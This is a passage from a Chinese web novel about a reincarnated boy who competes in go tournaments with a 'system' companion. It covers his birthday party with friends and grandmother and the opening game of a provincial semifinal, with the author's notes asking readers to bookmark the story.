赵信是个合格的游说家,他确实让纪辰新心动了,但也只有一点点。 只见纪辰新放下了合同,真情实感道,“赵叔,我叫你赵叔,你知道为什么吗?” “我希望我们之间没有任何的利益关系,现在没有,以后也没有。” “你说的这些,我也有考虑的,并不是因为苏陌的一面之词,而是我不想给自己太多束缚,我这人比较喜欢随心所欲。” “这段时间真的很感谢你,要不是你在中间协调,我也参加不了市赛,但恕我不能答应你的合作。” “我家是很贫穷,不过我奶奶并不希望我小小年纪就因为钱做这些。” 赵信打断,“你怎么知道,老人家说不定比你看的更长远。” 在他原本的计划里,是打算从纪辰新入手,然后再去与他奶奶相谈,毕竟最后签字还得监护人来签。 但现在纪辰新的态度很明显,他不愿意,那么只剩最后一条路,也是他最不想走的那条路,那便是直接说服他奶奶,到时候纪辰新不同意也得同意。 不过,这也会造成他与纪辰新之间的隔阂,一个不听话的代言人,以纪辰新宁为玉碎不为瓦全的性子,还不知道会做些什么。 想到这,赵信到底还是否了这条路。 他还想再劝纪辰新,“你不用急着拒绝,我可以等你,等你哪天想清楚,想签了,咱们再来讨论这事!” 纪辰新舒了口气,摇头道,“算了,你说不动我,我也说不动你,我算是看出来了。” “我们还是保持这种纯粹的半熟人关系比较好。” “省赛后,我会把欠你的钱连本带利都还给你。” 赵信听他这么说,知道没有转圜的余地了,他精明的头脑转了转,提出最后一个要求,“钱就不用你还了,省赛后你免费帮我的围棋班做一次宣传就行。” 他想的是将利益最大化,榨干剩余价值,纪辰新又怎么会不明白,但他最后还是答应了。 “好,如你所愿。”—— 作者有话说:喜欢的就收藏一下吧~ 第29章 周日, 积分赛的结果在当天下午五点便出来了。 纪辰新拜托系统进行检索,【我想知道刘弯有没有晋级。】 系统:【宿主,网络上并未报道呢, 你看看明天报纸会不会写?】 然而,纪辰新等到了第二天放学,报纸上都没有相关报导。 系统安抚:【或许是积分赛等级太低了,没有报道价值。】 最后纪辰新还是从苏陌那得到了消息。 草坪上,苏陌执棋,淡淡垂眸, “那个戴鸭舌帽的男孩, 黎上金, 他晋级省赛了。” “我猜到你应该想知道他的消息,便让司机去市里打听了一下。” 纪辰新听到这个消息先是欣喜,后是追问, “那晋级名单里有没有一个叫刘弯的?” 苏陌抬眼, 虽不知道这刘弯是谁, 却狠蹙了眉头, “这个人也对你很重要?你还帮助了他?” 为什么要说也? 纪辰新撇了下嘴, “怎么可能,别乱说, 晦气!” “总之, 当日我帮助黎上金并不是没有要求的, 我唯一的要求便是要他打败刘弯,阻止他晋级。” 苏陌闻言沉默了一会儿才道: “虽不知你们有什么矛盾,但王叔带回来的消息里,没有叫刘弯的,你可以放心了。” 说罢, 他一边捏着棋子,一边看棋谱。 纪辰新发现他在进行打谱训练,看了两眼便没了兴趣。 只不过,他那颗焦躁又忐忑的心终于平和了下来,嘴角都是控制不住的上扬。 【系统,黎上金的结局改变了。】 【你知道这意味着什么吗?】 系统:【意味着什么?】 纪辰新直接四仰八叉地在草坪上躺了下来,抬眼凝视天空,【那当然是意味着以后苏陌的结局也能改变啊!】 闻言,系统也雀跃了起来,【哇,我都没想到这一层!】 【所以宿主你之前选择帮黎上金时,就已经藏着验证的心思了?】 纪辰新眉梢微挑,【难为你现在才看出来,我厌恶胡浪是真,对黎上金的遭遇也确实动了恻隐之心,但这并不足以让我将自己的胜利果实拱手让人,我主要是想看看剧情到底能不能被改变。】 【如果能改变,对我们是皆大欢喜的,如若不能,便要从长计议想办法规避了。】 系统嘿嘿一笑:【宿主,我要收回以前对你的评价了。】 【什么评价?】纪辰新枕着手,无所谓道。 系统:【就以前说你不会下棋,所以没有苏陌反应快之类的话。】 【我现在发现,我以前真是鼠目寸光了,宿主明明是一个足智多谋、才思敏捷、独具匠心、胸有成足、奇思妙想、运筹帷幄、脑洞大开、见解独到、有勇有谋、精打细算、未雨绸缪、思维跳跃的人!】 纪辰新顿时满头黑线:【你最近又学什么了?不要乱用成语好不好!】 夕阳把天空晕染成一副油画,远处教学楼的楼顶被渡了一层柔光,纪辰新感受着脸上的晚霞,睫毛的影子不动声色地投在眼下,本映着广阔天空的瞳孔此刻却静静倒映着一个人的面容——苏陌。 橘红与金紫都成了他的背景色调,风掠过耳边,纪辰新微微发怔,呼吸都轻了轻。 苏陌就这样站在他的上方,背脊弓着看他,小少年逆着光不经心地轻挑眼尾,眉骨轮廓清浅,眼底的光像是被揉碎的星子,嘴角不自觉溢出笑意,好似戏谑,“你盯着我干嘛?” 清脆的语调在耳边炸开,纪辰新颤动了下眼睫,然后伸手拉住了他的手腕,“明明是你盯着我,既如此,别下棋了,躺下看风景如何?” 苏陌的指尖无意识地蜷了下,然后默默放下了棋谱,静静地在纪辰新旁边躺了下来。 天边最后一丝云彩裹上了暖色调,最后一缕光斜斜扫过纪辰新的侧脸,他的轮廓在暮色里渐渐柔和,小少年不自觉地靠了过去,一点又一点。 直到,晚风慢慢带来了凉意,夕阳下沉了地平线,倦鸟才想起要归家。 “苏陌,我明天生日,你来我家吃晚饭吧。” “好,我一定来。” * 然而,翌日放学后,纪辰新却没等到苏陌。 还是张森跑过来告诉他苏陌请了一下午的假早就离校了,要晚点才能到他家。 如此,纪辰新便悻悻地一个人回去了。 家里奶奶已经在起锅烧油了,得空了还在问纪辰新,“小权和小陌你都邀请了没?” 纪辰新猛地一拍脑袋,他好像忘记邀请赵言权了。 这 “汪汪汪” 突然一阵狗叫响起,纪辰新眼皮一跳,这种感觉怎么有些似曾相似呢? 没一会儿,肖椿就将那个被狗撵的人提溜了进来。 赵言权捂着屁股不请自来了,“纪辰新,快帮我打狗,我今天忘带棍子了。” 纪辰新心下放松,“哈哈,你来的正好!” 李春兰从厨房探头出来,“小新,快洗点苹果,叫同学吃。” 肖椿懂事地跑了过去,“奶奶,我来洗吧,今天小新生日,让他歇歇。” 纪辰新满意极了,“谢啦,兄弟。” 那边,赵言权还躲在门槛那观察狗,“纪辰新,这死狗一直对我哈气,快把它赶走啊!” “去去去,小黑。”纪辰新对着狗警告了几句,“真是分不清大小王了,还哈气?” 他一个佛山无影脚就要扫射,小黑终究是不敢对熟人怎么样,尾巴一摇跑了。 赵言权拍了拍胸脯,“这死狗,每次都这样,真烦人。” 纪辰新抱着手臂看他,“你怎么过来?” “我?我怎么过来了?你今天不是生日吗?”赵言权才是莫名其妙,“上个月就说好了来你家吃饭,你奶奶的饭我都馋好久了。” 说着,他将手里的袋子递了过来,“送你的生日礼物,快拆开看看喜不喜欢。” 纪辰新接过,然后从中拿出一个礼盒,盒子上是一个遥控车的模型,非常的酷炫。 “现在最流行的遥控翻滚车,玩起来贼6,平时我下完棋想要放松一下时,就玩这个。” 纪辰新笑了笑,“这你都舍得送我?” “有什么舍不得的,我家里还好几个呢。”赵言权摆摆手,很大方的模样。 肖椿洗了水果出来,看了眼纪辰新手里昂贵的礼物,他眸色黯淡了一瞬。 纪辰新一回头,就看到了肖椿在躲避他的眼神。 “小新,苹果洗好了,我先回家了。” “回家?” “你回什么家,今天在我家吃饭,我生日,你敢跑?” 纪辰新大概知道他心里在想什么,无非是不好意思以及自卑这类。 但他不在意这些,更不可能让肖椿带着情绪离开,“你的礼物呢,我可都看到了,你兜里的漫画书,快拿出来吧。” 肖椿神色一震,他没想到纪辰新居然看到了,他这本漫画书实在便宜,跟赵言权的礼物根本比不了。 “精挑细选了这么久,难道要留着自己看啊?” 纪辰新揶揄了一句。 肖椿连连摇头,“没有,我怕你不喜欢,而且这个一点也不贵” “肖椿,我们可是朋友,朋友之间是不在乎这些的。”纪辰新朝他走近,然后拿走了他兜里的漫画书,“礼物我收到了,今天必须留在这里吃饭。” 肖椿抿着唇,郑重道,“好。” 赵言权左看右看,“纪辰新,你没喊苏陌吗?” 纪辰新沉默了一瞬,如果赵言权知道他忘记邀请的人是他自己,会不会炸毛? 不,他不会知道,这辈子都不能说! 说曹操曹操到,伴随着一连串的狗叫,苏陌也赶过来了。 只是小黑面对他,到底是没了面对赵言权时的勇气,一旦苏陌朝它靠近一步,它就灰溜溜地往后退。 一边叫,一边往后退,欺软怕硬算是体现的淋漓尽致。 苏陌手里提着一个蛋糕,笑意从嘴角蔓延到眼角,却又不过分,带着一丝温柔,“我总觉得,满十岁,怎么也得要一个蛋糕才行。” 众人的视线几乎同一时间,看向了他手中的蛋糕盒。 透明的盒盖里,草莓镶嵌在奶油里,边缘的巧克力碎掉了两颗。 苏陌的指节因为用力微微泛白,他过来的路上一直很小心,但蛋糕还是有点小凹陷,这不是因为没有保护好的原因。 而是因为实验了这么多,只有这个是最拿得出手的了。 纪辰新凑近了过去,只要轻嗅就能闻到盒缝里露出来的甜香,最底下的蛋糕胚边缘,却露出了烘烤时微微鼓起的焦边。 比夸奖最先到的是赵言权的嘲笑。 “哈哈,苏陌,你这蛋糕在哪买的?怎么感觉是个残次品,快说哪个店,我下次一定避开!” 苏陌提着蛋糕盒的手再次握紧,眼睫颤了颤,轻咬了下唇,神色带着冰雪的清冽,最后没选择说实话,“是吗,就随便找了个店买的。” 他将笨拙的心意都藏了起来,捧着盒子放在了桌上,“将就吃吧。” 纪辰新支着脑袋瞧他,总觉得哪里不对劲,很快他有了一个惊天大猜想。 【系统,这个蛋糕,不会是他自己做的吧?】 系统不太清楚,但会分析,【很有可能,以他的财力,买一个蛋糕不费吹灰之力,他有司机有车,不可能保存不善,而且他今天还请了一下午的假,这么长的时间,就带了个不完美的蛋糕过来,很可疑不是吗?】 【所以,宿主你的猜测应该是对的。】 纪辰新的唇线极缓的舒展开,【猜来猜去的多麻烦,待会儿这样】—— 作者有话说:收藏一下文文吧~ 第30章 “先把蛋糕放这儿吧, 马上就要吃饭了。”纪辰新从苏陌手中接过盒子,随后又眼尖地看到了他衣角处蹭到的白色奶油,心中的猜想又明了几分。 苏陌似乎也才注意到衣角脏掉的地方, 紧接着找了个借口去了厕所。 纪辰新在他离开后,转而跑到了楼下。 黑色的保姆车就停在了巷子外,纪辰新过去时,王叔正靠在驾驶位上小憩。 “王叔。” 听到声音,王叔迷糊睁开了眼,“啊?” 看到来人是纪辰新, 王叔还朝他身后看了眼, 确认他家小少爷是否也在 “王叔, 我今天生日,你也来我家吃饭吧,一个人在外守着也不是个事。” 王叔诚惶诚恐, “那不敢, 我们当值是有规定的, 不能擅离职守。” “小纪少爷, 你的好意我心领了, 但抱歉了。” 小纪少爷? 陡然听到这称呼,纪辰新人都愣了几秒。 “欸, 你别这么喊我。” 王叔却笑着, “您是小少爷的朋友, 当得起这称呼。” 纪辰新真的很想问,那苏陌的其他朋友,你也这么称呼? 算了,扯远了。 “王叔,你们来的路上发生了颠簸吗?” 颠簸? 王叔一头雾水, “没有啊,小纪少爷怎么会这么问?” “啊,就是那个生日蛋糕有一点点剐蹭,我还以为”纪辰新状似无意提起。 然而话还没说完,王叔就连忙解释道,“那是我家小少爷亲手做的,他宝贝的不得了,一路上看护的紧,反复叮嘱我平稳开车,绝对没有颠簸的,剐蹭应该是小少爷第一次做,没那么完美罢了。” 王叔像是回忆起什么,“小纪少爷,你别看这蛋糕没那么精致好看,但绝对是好吃的,不管是奶油还是镶嵌在上面的水果,用的都是最新鲜最好的,费了我家小少爷不少心思,就连烘烤的蛋糕胚都换了好几轮。” 果然如此! 纪辰新得到了答案,便了然的点了头,“好的,我知道了。” “对了,关于刚刚我两说的这些,就不要给你家小少爷复述了。” “你家少爷脸皮薄,会不好意思的。” 王叔纳闷了,好像也没说什么啊,怎么就不好意思了?还有我家少爷脸皮薄吗? 纪辰新满意地回到了家,而那边苏陌的衣角因搓洗,湿掉了一大片。 赵言权早就馋地进了厨房,跟在李春兰后边,近距离品尝美食了。 肖椿眼里有活,一会这里帮忙洗菜,一会那里帮忙扫地,纪辰新阻止他好几回都不行。 终于在十分钟后,李春兰宣布正式开饭了。 一大四小围绕着她坐,她和蔼地看着几位小朋友,“感谢你们来给我家小新过生日,家里没什么吃的,也就几个菜拿得出手,献丑了。” “纪奶奶,我特爱吃你做的红烧肉和排骨,做梦都想。”赵言权眼睛就没离开那两道菜。 李春兰笑了笑,“那你今天多吃点,管够。” “嗯嗯。”赵言权眼睛放光,这时,肖椿指了指放在旁边的蛋糕,“小新你要不要先许愿?” 蛋糕再次凝聚了众人的视线,苏陌轻抿了下唇,没说话。 纪辰新下意识瞥了他一眼,“好啊。” 李春兰看着那蛋糕,浑浊的双眼亮了几分,“蛋糕?谁带过来的?” 赵言权舔了舔筷子,“苏陌买的。” “这看着就很贵吧。”李春兰惊诧过后就是担心价格,她看向苏陌,“小陌你破费了。” 苏陌被点名,定定摇头,“不贵的。” 肖椿帮着拆盒,将蛋糕放在了纪辰新面前,“满十岁,得插十根蜡烛。” “不用,里面有个1和0的数字蜡烛,插两根就好了。”苏陌直言补充。 赵言权看着心心念念的菜,暂时不能吃,终究还是放下了筷子,帮忙弄起了蛋糕。 只见他拿了个打火机,“你们插好,我来点火。” 火苗点燃的瞬间,盈盈光辉里,纪辰新被他们围在了C位。 肖椿不知从哪听到的科普:“听说愿望说出来就不灵了,所以你许愿的时候千万别说出来。” 话落,众人都期许的看着纪辰新。 “只能许一个愿望,纪辰新,你想好了没。”赵言权叮嘱,问道。 肖椿反驳,“我怎么听同学说,可以许三个。” 老太太不懂这些时兴的玩意儿,只是笑着站在一边看。 纪辰新一时不知道听谁的,他看向了一直沉默着的苏陌,“蛋糕是你买的,你说许几个?” 实际上,苏陌的目光一直在蛋糕与纪辰新的脸上徘徊,被问时,他私心道,“如果你有很多愿望的话,可以多许几个,反正也没人管。” “噗嗤。”还是第一次听到这样的回答,纪辰新简直要笑死了,“那好,我听你的,我多许几个。” 反正也没人管! 刹那间,肖椿被打开了思路,“纪辰新,你许愿要一百个愿望不就行了吗。” 赵言权嘴角一抽,“你以为是阿拉丁神灯啊,神灯都只能许三个。” “就许一百个又如何,谁管?”肖椿回怼他。 “咳”苏陌清了下嗓子,“你们安静点,他要许愿了。” 纪辰新无奈闭上了眼,耳边也终于清净,至于他许了几个愿望,没人知道。 睁开眼后,他闭口不提愿望的事,只身拿过刀,“我来给你们分蛋糕。” 赵言权虽然嘴上说着蛋糕不好看,但却是吃的最多的那个,“纪辰新我要这块,巧克力和草莓最多的这块。” 三两下,纪辰新将蛋糕分好,给奶奶也搞了块大的。 李春兰连连摆手,表示不吃,但耐不住纪辰新的硬塞。 苏陌端着蛋糕悄悄留意着众人的反应,特别是今天的主角纪辰新。 纪辰新是给众人分好之后,才挖了一口放进嘴里的。 【宿主,苏陌一直盯着你呢。】 纪辰新微眯的余光里,早已看到,【我知道。】 “哇,好好吃。” 蛋糕放进嘴里的几秒,纪辰新由衷感慨,当然也有表演的成分,因为他想给苏陌情绪价值和反馈,“甜而不腻,奶香味十足。” “这奶油和蛋糕胚子配的刚刚好,真香。” 苏陌听到这话,紧绷的嘴角到底是牵了起来,然后缓缓挺了挺胸,神情愉悦。 赵言权吃了好几口才评价,“苏陌你在哪买的,样子虽然不太行,但口感还不错。” 苏陌高冷地轻瞥了他一眼,根本不理他,随后自我品尝了一口,仿佛在说你的评价对我不重要。 几人吃完一块蛋糕后,正式开始吃饭。 赵言权以风卷残云的气势吓到了一众人,本以为吃了块蛋糕的他战斗力能小一点,但明显还是失策了。 李春兰是最开心的,看到赵言权这么喜欢吃她做的饭菜,便一个劲给他夹,“不急,不急,慢点,锅里还有呢。” 这顿饭,吃到最后,赵言权鼓着圆滚滚的肚子躺在椅子上,没法动。 肖椿则在李春兰的授意下弄了好一些饭菜回家去给弟弟和爷爷吃。 苏陌一直安安静静坐在一旁看纪辰新收拾碗筷,然而当纪辰新要动蛋糕时,他立即犹疑出声,“还有三分之一,你准备丢掉吗?” 纪辰新抬眼看他,“丢掉?怎么可能,我端出去给街坊邻居都尝点,蛋糕这时兴玩意儿,估计他们都没吃过。” 闻言,苏陌饶有兴致地跟了出去,“我帮你分。” 接下来的蛋糕没办法分很大一块了,不然不够分,苏陌瞥了眼,脑子里计算着,然后迅速将蛋糕分成了同样的大小块,份数上看着比原来多了好几份。 纪辰新则帮着喊人,“小烨,王婶快出来吃蛋糕了,肖椿,你给你爸妈也留两块。” 结果听到声音最先出来的是小黑! 纪辰新轻踹了狗子一脚,“去去去,没你的份哈!” 小黑摇尾乞怜,尾巴就没停过。 “小黑你不能吃巧克力,会没命的。” “而且奶油这类,你的胃消化不了。” 纪辰新给它解释,但它明显听不懂,一直兴高采烈地跟在纪辰新身后转。 小烨拿到蛋糕时,饭都不吃了,一张脸蹭的到处都是奶油,肖椿一脸无奈。 王婶则笑笑接过,“小新,你也太客气了,祝你生日快乐啊!” “王婶,你再带一份回去,晚点张叔回来了也可以尝尝。” “一块就够了,等下你们都不够吃了。”王婶不好意思多拿。 “够,我们都吃过了。”纪辰新强硬的又塞了一块给她。 “唉,这多不好意思。”就这样,王婶端着两块蛋糕回去了。 最后的一部分,纪辰新全给肖椿了,“带给你爸妈也尝尝。” 肖椿本来是不打算再要的,但在纪辰新的驱使下,还是接过了。 在歇了半个小时后,赵言权终于从椅子上起身,他摸着肚子,“纪辰新,谢谢你的款待,我走了。” 纪辰新很是不放心,“就走?你爸来接你没?” 赵言权点点头,拿出了部老年机,“刚给我发短信了,就在外面巷子。” “就是得麻烦你送我到楼下,我怕小黑又叫唤,我跟你讲,我不是怕它,我是不屑跟它斗。” “噢。”纪辰新含笑,都懒得戳穿他,“走吧,我送你到楼下。” “我跟你们一起下去。”苏陌倏然道,“时候不早了,我也准备回去了。” 纪辰新挑了下眉,不置可否,“行。” 三人一起下了楼,赵言权在看到赵信后,直接跑了过去,最后还不忘扭头,“纪辰新我先走了哈,拜拜,下次再见。” 他一走,现场就只留下纪辰新和苏陌俩人。 王叔就在不远处等着,看到苏陌下来,已经发动了引擎。 “你也走” “这个给你。” 毫无预兆地,手里突然被塞了个东西。 纪辰新低头一看,居然是一个PSP小型游戏机,连包装盒都没拆,难怪苏陌今天穿了两件套,这东西居然一直被他藏在怀里。 “上次你来我家,好像对游戏类比较感兴趣,但我电脑里没什么游戏,害的你没玩尽兴。” “这是个游戏机,带电池的,里面有几十种游戏可以玩。” 纪辰新愣愣看着他,认真道,“所以到底哪个才是你今天送我的生日礼物?蛋糕还是游戏机?” “都是。”苏陌注视着他,眼眸明亮,神情忐忑,“你不喜欢吗?” “我”纪辰新突然想起那日在他家,他被电脑吸引只是因为那台久远的台式机本身,看看老古董罢了。 结果他兴趣盎然地查看电脑桌面,却被苏陌误解为想要玩游戏。 不过,有一点他倒也没猜错,他确实有比较感兴趣的游戏,只不过那游戏只能在电脑上玩,此时甚至都还没上线产出。 “没有,我很喜欢,谢谢你的心意。” 突然,纪辰新促狭看他,“还有,你做的蛋糕。” 霎时,苏陌瞳孔颤动,就像被风拂过的湖面,睫毛都僵了两秒,“你怎么” “我怎么?”纪辰新嘴角半弯,笑的张扬,“我怎么知道的?” “苏陌,你的表情出卖你了!”—— 作者有话说:小天使们,收藏一下文文吧~ 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收!《 》 30-40 第31章 省半决赛安排在这周六, 江洲作为A市的省会,所以比赛场地还是沿用的上次市赛的地点。 周六早上七点不到,李春兰便给纪辰新做好了早饭, 并叮嘱他带几个鸡蛋过去吃。 “奶奶,不用啦,这太多了。”纪辰新看着袋子里的七八个鸡蛋有些无奈。 李春兰生怕他饿着,“这哪里多了,棋下累了或是饿了,就拿一个出来吃。” “噗嗤”纪辰新没忍住笑喷了, “奶奶你把赛场当啥了, 大家认真下着棋, 我突然开始吃鸡蛋算怎么回事。” “再说了这比赛是有时间限制的,哪有时间吃东西,这裁判也不许啊。” 他一番好说歹说, 才把李春兰给劝服, 最后才同意减少一半。 于是, 纪辰新带着四个鸡蛋出门了。 巷子里, 苏陌身着卫衣, 单手插兜,低头踢着石子。 听到声音, 他才抬头, 上下打量了纪辰新一眼, 然后视线在他手腕处定住,眉眼微挑,“我上次给你的珠子没戴吗?” 珠子? 噢那个开过光的珠子啊! 纪辰新拍了拍口袋,“带了的,在里面。” “戴上吧, 无聊时方便把玩。”苏陌再次将那套说词搬了出来。 观他眉眼很是认真,纪辰新不置可否,伸进了口袋戴给他看,“行了吧?” 苏陌是特意过来送他去赛场的,早几天前纪辰新就想拒绝的,但一想到赵信估计也会来送,便答应了苏陌。 纪辰新经过了上次与赵信的谈话后,始终觉得既然已经拒绝了对方的合作,就尽量少去麻烦人家了比较好。 其实他也可以一个人过去的,就是有些费时费精力罢了。 然而,苏陌作为朋友,他提出送自己,好像也无可厚非,没必要硬吃苦不是吗? 毕竟,以良好的状态迎接比赛才是最重要的。 “纪辰新,我也是来送你去赛场的。”突然,赵言权从苏陌车上下来,“我爸今天没来,但他托我好好给你加油打气呢。” “对了,你那小跟班呢,今天不陪你一起去?” 他提到的自然是肖椿,纪辰新昨晚就被肖椿告知,他爸妈今天要一起去外婆家,他外婆摔了一跤,得去看看,而他得留在家照顾瘫痪的爷爷,就不来送他比赛了,不过祝福的话倒是说了一箩筐,纪辰新笑着都接纳了。 有时候他都觉得肖椿一家未免太倒霉了,怎么就能接二连三的出事呢? “他家有事来不了了。”纪辰新没说具体情况,不太想肖椿的苦难成为被人消遣的谈资。 虽然赵言权和苏陌都不是那种会膈应人的人。 但以肖椿一直以来展现出来的乐观姿态,他应该也不喜欢别人将自己家的事说出来。 赵言权也就随意问了一嘴,随后便热情邀请纪辰新上车了,俨然一副他是车主的模样。 苏陌轻飘飘睨了他一眼,明明没什么情绪,赵言权却莫名感受到了一股冷意。 煞那间,他瞬间改口,连连起身,带了点讨好,一副狗腿子的既视感,“哈哈哈,这主位,苏陌你来坐。” 纪辰新肩膀几不可察地抖了下,抬手虚虚按了按嘴角,在苏陌察觉到,朝他看过来时,他立即收敛了神情,“额快走吧,时间不早了。” 苏陌睨着他,星星点点的笑意落进了眼睑里,“你笑什么?” “没有啊”纪辰新圆润的下颌线绷了下又松垮,他捂着嘴,指缝里却透出极轻的气音,“快走啦!等下要迟到了。” * 再次进入赛场后,纪辰新比起上次显得更加游刃有余了。 在其他人还在左看右看,到处转悠时,他则聊无兴趣的去了休息室歇着。 然而他还没来得及坐下,一声低哑地“纪辰新”将他的平静打破了。 只见他乍然回头,视线里是熟悉的鸭舌帽,坚毅瘦削的下颌线,还有令人印象深刻的独眼。 黎上金? 是了,黎上金经过自己的努力,过五关斩六将顺利进入了省半决赛。 6个市共计12个人直接进入省半决赛,而其他人则通过积分赛和淘汰赛厮杀剩下的8个名额。 “你之前积分赛排名第几?”纪辰新脱口而出。 黎上金和缓地看着他,“第一。” 第一?居然是第一? 【系统,你听到没,他居然拿了积分赛第一。】 系统:【恩恩恩,听到了,说明他棋力还不错呀,宿主你不是早就知道他有这个实力吗?】 纪辰新摇了摇头,【我本以为他只能拿个第三第四。】 “纪辰新,上次的事谢谢你。” “我奶奶这几天又是打针推拿,又是吃药的,手已经在慢慢好转了。” 黎上金看起来放松了不少,不像上次那么紧绷了,他向纪辰新述说着自己的近况,“我奶奶让我一定要好好感谢你。” “我无以为报,以后但凡你用得着我的地方,你尽管说。” 纪辰新眉峰带着一丝沉意,“你千万不要有压力和负担,我没什么需要你报答的。” “而且不出意料的话,我们比赛会对上,到时候你别有什么恻隐之心,认真比赛才是对我对你最好的。” 黎上金低着头看他,右眼底挂着没散的柔意,淡的像刚化的春水,一点也不张扬,“我知道,我能有什么恻隐之心,我根本就比不过你。” 闻言,纪辰新轻抚了下鼻尖,没来由地问了一嘴,“胡浪今天没来?” “他上次积分赛冲刺失败了,连淘汰赛都没进入,然后又因为连续几次和我出远门,现在被家里人看的紧。”意思很明确,胡浪被家里人限制了自由。 黎上金自嘲一笑,“他家里人很厌恶我,认为胡浪经常跟我玩一起,会不学好。” 这纪辰新不知该说什么,他跟他们也不是很熟,不太好发表意见。 好在,现场裁判开始发话了。 “请所有参赛选手,进入赛场,听取比赛规则。” 纪辰新眉梢一挑,“走吧,要公布规则了。” 会场里,主裁判严谨道:“此次比赛采用单循环赛制,共计三天。排名依据选手积分,胜一局得2分,负一局得0分,和棋各得1分,全部轮次结束后,统计每位选手的总积分。” “积分相同者,按照直胜关系定胜负,例如:A和B积分相同,若此前A战胜过B,则A排名在B之前。” 纪辰新全程认真听着,实际上,省赛的规则早就公布出来了,但此刻亲耳听到裁判公布,他难得的多了一份紧张。 【宿主,这是个很好的教学的机会,你放心,之后的每场我都会为你不遗余力的讲解。】 纪辰新无力抚了下额,【那真是谢谢你了。】 主裁判还在继续讲解:“比赛按照轮转法组合,1号对2号,3号对4号19号对20号,这样的以此类推,而下一轮通过固定1号的位置,其余选手通过顺时针调整对阵,2号对3号,4号对5号,20号对1号,继续依此类推,直到所有选手完成两两对弈。” “相信大家应该都已经拿到自己的号码牌了,距离九点还剩十五分钟,该上厕所的可以去上厕所,但最后五分钟要全部到齐。” 话落后,只有极个别的人往厕所跑,而大多数人,已经去寻找自己的对弈座位了。 这次的座位都是按照编号严格安排好的,不能随意更换。 纪辰新拿着自己的号码牌,逡巡了一遍,最后在9号落座了。 他的对手是10号,一个扎着丸子头的女孩,20位选手里面只有三位女孩,居然一开始就让纪辰新碰到了一位。 女孩实际年龄也就十一二岁,但硬是比纪辰新高了大半个头。 纪辰新顿感压力山大,【靠,我每天早睡早起认真吃饭,怎么比她矮这么多?】 系统安慰:【女孩就是比男孩早发育的,宿主你无需自卑,你前世有一米八,这世绝对也矮不了,就放心吧。】 纪辰新:【这可是你说的,我都记住了,要是没长到一米八,就赖你了。】 系统:【我就随便说说,怎么就赖我了,我不担责。】 【不管,你必须担责。】纪辰新恨恨道。 系统无语,【行吧,我担责就担责,但你首先必须保持良好的习惯。】 “小弟弟,你怎么了?”对面的丸子头女孩眨巴着眼睛盯着他瞧,“看你皱着眉头,哪里不舒服吗?” 纪辰新回过神来,“啊,没事。” 丸子头女孩继续盯着他,好奇道:“你是积分赛上来的,还是靠市赛晋级的?” 她在分析胜算,纪辰新淡淡道,“市赛。” “那你是第一名还是第二名?”女孩刨根问底。 纪辰新百无聊赖,当打发时间了,“第一,你呢?” 女孩闻言有些讶然,随后不甘示弱道,“我啊,巧了,隔壁阳市第一。” 居然是两个第一之间的对决! “那你应该很厉害。”纪辰新淡笑,眼尾带了丝忐忑,心里哀叹,【系统,怎么办,上来就遇到了一个强劲对手。】 女孩粲然一笑,嘴角两个梨涡若隐若现,“别这么说,你也不差。” 系统:【宿主,你可是连苏陌都打败了,区区市第一而已,你不也是吗?】 苏陌就跟个量词一样,纪辰新算是看出来了,与它无情斗嘴:【那是你,不是我!】 系统:【那照你这么说,也不是我,归根到底是程序帮你赢的。总之别想太多,咱不服就干,何必畏手畏脚!】 纪辰新:【干?干什么?前言不搭后语的你最近又乱学啥了?怎么跟个□□似的】 系统傲然挺胸┑( ̄Д  ̄)┍:【嗤!我在欣赏电影《古惑仔》,无事勿扰。】 纪辰新:【】你能欣赏个毛出来,净乱学!—— 作者有话说:纪辰新:[化了]求你别学了,你个超雄系统! 第32章 十五分钟转瞬而逝, 主裁判宣布比赛开始后,全场进入了肃静。 纪辰新与丸子头女孩进行了猜先,最后是由他执黑先行。 通过这阵子的训练, 纪辰新已经掌握了一定技巧,率先下在了左上星元,这是他常与系统对弈时的操作。 对面丸子头女孩沉静应对,俩人你来我往下了大概三十几目左右,后面系统便上场了。 【宿主,八之六, 将她的白子切断, 然后你观察你的子, 做一个连接,学名叫“粘”】 【这样可以分断对方,同时增强黑子, 削弱白子的力量。】 纪辰新按照它的指示, 并依靠自己的领悟接连下了几目, 最后从棋盘里提了三颗白子, 这三颗白子早已被逼的没有了气力, 现在被提走,令丸子头女孩神色焦躁了几分。 纪辰新看着她的落子, 合理推测, 【她现在估计要逃。】 系统点头, 【没错,所以,你要做的是截断她的退路。】 丸子头女孩不知道自己所有的想法已经全部被纪辰新和系统料到,而她做的准备还没开始,就被一人一统扼杀在了摇篮里。 系统:【宿主, 注意,白棋想要反攻了,你还记得什么叫禁入点吗,现在我们给她机会,营造她即将反杀的假象。】 纪辰新想起这段时间练棋时,系统提到过的眼,他眉梢挑了挑,【当然记得,我想我知道该如何下了。】 于是,丸子头女孩在对面有意放水的形式下,形成了一个包围圈,意图绞杀纪辰新,然而纪辰新早已在白子的外圈也制作了一个包围圈,就等着她入套。 最终,纪辰新将一黑子落在了白棋包围圈的最中心,完成了作为“眼”的极限反杀,也是这一步迫使周围的白子全部被提走。 丸子头女孩双目愕然圆瞪,她不是没想到这一步的,但她实在是前面被逼的太紧了,好不容易碰到个缺口,自然不愿放过。 谁曾想,当她将全部精力放在围剿上,却被纪辰新将了一军,落的个满盘皆输。 此刻距离比赛开始才过了二十多分钟,丸子头女孩全身吓出了冷汗,她咬着唇,声音暗哑,“我输了。” 她似乎还没缓过神来,人都显得呆呆的。 